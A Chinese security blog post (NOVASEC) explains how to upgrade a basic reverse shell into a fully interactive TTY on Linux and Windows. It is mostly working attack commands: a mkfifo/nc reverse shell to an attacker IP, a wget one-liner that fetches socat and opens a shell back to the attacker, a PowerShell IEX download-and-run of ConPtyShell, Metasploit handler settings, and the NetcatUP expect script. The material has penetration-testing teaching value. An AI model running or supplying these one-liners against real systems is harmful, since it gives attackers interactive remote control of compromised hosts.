反弹shell之升级交互shell

  • A+
所属分类:安全文章
反弹shell之升级交互shell

△△△点击上方“蓝字”关注我们了解更多精彩




0x00 简介

大家好,我依旧是NOVASEC最菜的酒零

本文主要补充一下普通反向shell升级为交互shell

在大多数情况下,反弹出来的shell都是非交互式的,拥有不能进行交互输入,看不到命令执行的结果等等的缺点。这时候就会想,如何将这个普通的shell变成一个像实际机器操作的交互shell


本章节目录结构:
    0x01 linux升级交互反弹shell
        1.1 使用Python pty模块升级交互shell
        1.2 简单shell升级交互shell的快捷脚本
        1.3 使用script命令获取pty
        1.4 使用socat升级反向shell

    0x02 Windows完全交互shell

    0x03 NC反弹升级msf-shell

        3.1 msf接受NC反向shell

        3.2 msf接受NC正向shell

    0x04 辅助shell生成器

        4.1 shell命令生成框架

        4.2 msfvenom命令补全

    0x05 扩展




0x01 linux升级交互反弹shell

1.1 使用Python pty模块升级交互shell

# 首先获取一个反向shell

#攻击机kALI监听反弹shell nc -lvp 4444#在被攻击目标机运行rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 1.1.1.1 4444 >/tmp/f

# 在反向shell内部操作

# 在反向shell内通过python一句话fork个bashpython -c 'import pty; pty.spawn("/bin/bash")'Ctrl-Z  #挂起反向shell #本步骤基本实现普通交互shell
# 在攻击者Linux机器内部操作
#在攻击机查看$TERM变量和stty -a,记录$TERM值与rows和columns。这样可以强制连接的shell匹配它:
echo $TERM    #记录$term变量 #xtermstty -a      #记录stty配置 #可忽略 #rows 39; columns 153; stty raw -echo fg          #通过fg取回挂起的nc #fg不输出 #运行后回车乱码显示
# 总体来说,记录$term变量和stty配置无关紧要,重要的是stty raw -echo。
# 在反向shell内部操作
$ reset  #此时已支持ctrl+c   #执行命令清屏+正常$ export SHELL=bash$ export TERM=xterm-256color$ stty rows 39 columns 153  #可忽略

# 示例操作:
(本次示例中使用Centos Linux作为VPS,内网Kali作为被攻击机器)

反弹shell之升级交互shell

反弹shell之升级交互shell





1.2 简单shell升级交互shell的快捷脚本
普通shell使用ptty升级交互shell的过程是固定且冗长的,可以尝试用脚本自动化执行这一个升级过程。

NetcatUP 项目地址:
https://github.com/Charliedean/NetcatUP


首先获取一个反向shell。

#攻击机使用NetcatUP.sh脚本监听反弹shell./netcatup.sh 4444
#在目标机器运行反弹shellrm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 1.1.1.1 4444 >/tmp/f

现在,您应该拥有了一个具有bash历史记录和制表符完成功能的完全交互式shell

注意事项:其他的反弹shell语句可能无法升级


NetcatUP.sh内容:
#!/usr/bin/expect
lassign $argv arg1 arg2 arg3
log_user 0set timeout -1
spawn /bin/bashsend "nc -lvp $arg1n"expect "Connection from"send "python -c 'import pty; pty.spawn("/bin/bash")'n"sleep 0.5send x1Asend "stty raw -echon"send "fgn"send "resetn"send "export SHELL=bashn"send "export TERM=xterm-256colorn"send "stty rows `tput lines` columns `tput cols`n"send "clearn"interactsend "stty -raw echon"send "exitn"exit



NetcatUP.sh报错记录:

 ./netcatup.sh 4444 执行expect的文件时,报错如下-bash: ./netcatup.sh: /usr/bin/expect: bad interpreter: No such file or directory发现是因为没有安装expect就会报错
解决方法如下:yum install tcl-develyum install expect






1.3 使用script命令获取pty


可以使用 Linux 系统下的 script 命令,在弹回来的 shell 下创建一个带有 tty 的 shell, 这样就可以勉强使用一下 top 和 vim :

# 在反向shell内部操作
$ script /dev/null
如果不加 /dev/null 的话,会在当前路径下生成一个名字是 typescript 的文件,记录着在 script 生命周期里你执行的所有命令和结果。




1.4 使用socat升级反向shell

    socat就像服用了类固醇的netcat,是一把非常强大的网络瑞士军刀。可以使用Socat在TCP连接上传递完整的TTY。

    如果它安装在受害者服务器上,您可以用它启动一个反向shell。您必须捕获连接,以及获得完整的功能


# socat安装

# yum安装yum install socat#独立二进制文件https://github.com/andrew-d/static-binaries

以下命令将生成一个完全交互式的TTY反向shell:

On Kali (listen):

socat file:`tty`,raw,echo=0 tcp-listen:4444

On Victim (launch):

# 直接运行socat并执行反向shell:socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:1.1.1.1:4444
#在未安装socat的机器上一键下载socat并执行反向shell:wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp: 1.1.1.1:4444

操作示例:

(本次示例中使用Centos Linux作为VPS,内网Kali作为被攻击机器)

反弹shell之升级交互shell


反弹shell之升级交互shell





0x02 Windows完全交互shell
    在 Windows 中引入伪控制台 (ConPty)改进了 Windows 处理终端的方式。
Invoke-ConPtyShell.ps1https://github.com/antonioCoco/ConPtyShell/blob/master/Invoke-ConPtyShell.ps1
    ConPtyShell使用函数CreatePeudoConsole()。

    此功能自 Windows 10/Windows 服务器 2019 版本 1809(生成 10.0.17763)以来可用。


服务器端:
stty raw -echo; (stty size; cat) | nc -lvnp 3001
客户端:
IEX(IWR https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell 10.0.0.2 300




0x0NC反弹shell升级MSF shell

    想到msf有生成cmd反弹脚本的功能,这时候我就在想,能不能直接将我自己反弹的普通nc shell传递到msf上进行交互。


    经过实际测试发现是可以进行操作的。但是功能没有想象中的强大。也说明一个强大的命令执行还需要客户端内置很多功能,这时候得夸一下CS和MSF等框架payload的强大。


    发现一个msf接受nc shell的好处,msf接受shell以后可以直接提供上传下载功能。而直接nc接受是没有上传下载功能的





3.1 msf接受NC反向shell

MSF handler监听
msf > use multi/handlermsf exploit(handler) > set PAYLOAD php/reverse_phpmsf exploit(handler) > set LHOST 1.1.1.1msf exploit(handler) > set LPORT 4444msf exploit(handler) > exploit

反弹shell之升级交互shell

msf设置常规handler监听

反弹shell之升级交互shell

msf使用普通shell执行上传和下载命令

反弹shell之升级交互shell


shell可能是尝试直接获取一个msf metpretershell,此处没有测试成功。





3.2 msf接受NC正向shell


    本章没有具体的配置,只是根据自己的记录截图猜测一共是handler中不仅仅支持反向shell连接,还支持连接正向shell。

反弹shell之升级交互shell

msf 接受 nc bind shell



0x04 加快shell命令生成过程

    shell生成的过程是枯燥的,日常用的多的话可以使用一下生成框架。

4.1 反向shell命令生成辅助框架
使用One-Lin3r快速生成反向shell,Priveschttps://mp.weixin.qq.com/s?__biz=MzAxMjE3ODU3MQ==&mid=2650470579&idx=5&sn=cc261f6284aa2452a4c23e6d8dc57212&chksm=83bb9d57b4cc1441cf48692ebe47a2c3d7602a09cfa726ae2d793837d9bf4ec92361c6605336&mpshare=1&scene=1&srcid=0717t1U2eIhUHLSwJdiM1Y0q&sharer_sharetime=1594967232540&sharer_shareid=c7567a65a5bbf0e355b3a2c26cb13098&key=cf38eb95233a59b0c99311b67771fa2b4ad95e4d6a5915bc7e96784507ce694de3a0efc57dc5cc59da24f57b4983fc9172119133a0f1b18e4d342ddc7ec3935ed669bba049a1fc6e761699262b05f57f&ascene=1&uin=MTgyNzU5NTU2NQ%3D%3D&devicetype=Windows+10+x64&version=62090070&lang=zh_CN&exportkey=A%2BdEO%2B2dTUbkxq8lZ%2Bn0%2BHk%3D&pass_ticket=ad1zLySVS5E5RyYX6V1wDjtrxciMWocUiDhsDYQBMEDJG7w1Tbls5kowfPOEAS6e
revshellgen :Python编写的反弹shell生成器:https://www.uedbox.com/post/59210/
Shellerator:CLI生成多语言反弹Shellhttps://www.uedbox.com/post/65551/
HackTools(如当)红队浏览器插件 https://github.com/s7ckTeam/HackTools

反弹shell之升级交互shell

revshellgen反弹shell生成器


反弹shell之升级交互shell

HackTools(如当)红队浏览器插件截图

4.2 msfvenom生成加速

Kali 工具 之 Msfvenom 命令自动补全篇https://mp.weixin.qq.com/s?__biz=MzU1NjgzOTAyMg==&mid=2247484895&idx=1&sn=577466eb53b8fabd99f9467055b039a2&chksm=fc3fbcdecb4835c82bb58d44fef52fef5ef726f671e16d8e468c2029871808d683f166e50e7e&mpshare=1&scene=1&srcid=&sharer_sharetime=1576081809034&sharer_shareid=c64d60c691463b453934f929a7a5676a&key=fc568c7f64229b8f098cf517a41430d13e4fb4fb5e42e74ce0f3ed7b46c784c8de3c71c8b6f8f63691a08b178e3456fcbfe6b80028019a0bdc6b363aba1c6a4d2291fdab67674aa8445e892a612bdea2&ascene=1&uin=MTY4ODA0OTk3MA%3D%3D&devicetype=Windows+10&version=62070158&lang=zh_CN&exportkey=Ay95NNKkj%2BZEeawjjFv1Prk%3D&pass_ticket=z4th%2B%2FOTOmvLA%2BWXYMui4vR3yMvwneHSAE3zLd5KXbvjrYKJtKFc1TCc%2FlrGYGou

#安装zshapt-get install zsh  zsh
#安装 oh-my-zshsh -c "$(wget https://raw.github.com/robbyrussell/oh-my-zsh/master/tools/install.sh -O -)" #下载安装chmod+x install.sh && sh install.sh #本地安装
#安装自动补全脚本git clone https://github.com/Green-m/msfvenom-zsh-completion ~/.oh-my-zsh/custom/plugins/msfvenom/
##查看是否已下载_msfvenom 文件ls ~/.oh-my-zsh/custom/plugins/msfvenom/
##修改 ~/.zshrc gedit ~/.zshrc 将其中的 plugins=(git) 改为 plugins=(git msfvenom)
source ~/.zshrc 或 zsh 命令
##测试是否成功msfvenom [tab键] #按tab键没有任何反应说明失败
##失败解决方案将这两条命令加到 ~/.zshrc 最后一行 fpath=(~/.zsh/completion$fpath) autoload-Uzcompinit&&compinit-i
#启用修改source ~/.zshrc 或 zsh 命令 

反弹shell之升级交互shell

zsh下mafvenom的命令补全




0x05 扩展


python FFM 来增强反弹shell

FFM 项目地址:https://github.com/JusticeRage/FFMFFM 演示 PPT: http://manalyzer.org/static/talks/SSTIC2018.pptx
利用 webshell 创建交互式终端
Medicean/SuperTerm: 利用 webshell 创建交互式终端https://github.com/medicean/superterm




0x09 Summary 总结

    一锅乱炖,写个寂寞。限于菜鸡,有些没有细究。

    这应该是常规shell反弹的最后一个阶段啦,限于篇幅,没有细究MSFCS框架下的正向shell和反向shell生成命令。大家可以自己进行尝试。 


    由于学习过程中查看的文献十分的多,所以没有一一记录下文献参考地址,非常感谢前辈们无私的分享


    感谢大家对NOVASEC的支持!!!【在看】与【点赞】!!


参考文献

WebShell下的交互式Shell_白帽子技术/思路_i春秋社区-分享你的技术,为安全加点温度.https://bbs.ichunqiu.com/thread-43735-1-5.html
如何将简单的Shell转换成为完全交互式的TTY - FreeBuf网络安全行业门户https://www.freebuf.com/news/142195.html
将简单Shell升级为完全交互式TTY  Upgrading Simple Shells to Fully Interactive TTYs https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/
linux反弹完全交互shell | Beeeの零碎事https://www.imbeee.com/2017/12/24/full-functional-reverse-shell/



END



如您有任何投稿、问题、建议、需求、合作、后台留言NOVASEC公众号!

反弹shell之升级交互shell

或添加NOVASEC-MOYU 以便于及时回复。

反弹shell之升级交互shell


感谢大哥们的对NOVASEC的支持点赞和关注

加入我们与萌新一起成长吧!


本团队任何技术及文件仅用于学习分享,请勿用于任何违法活动,感谢大家的支持!!


本文始发于微信公众号(NOVASEC):反弹shell之升级交互shell

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: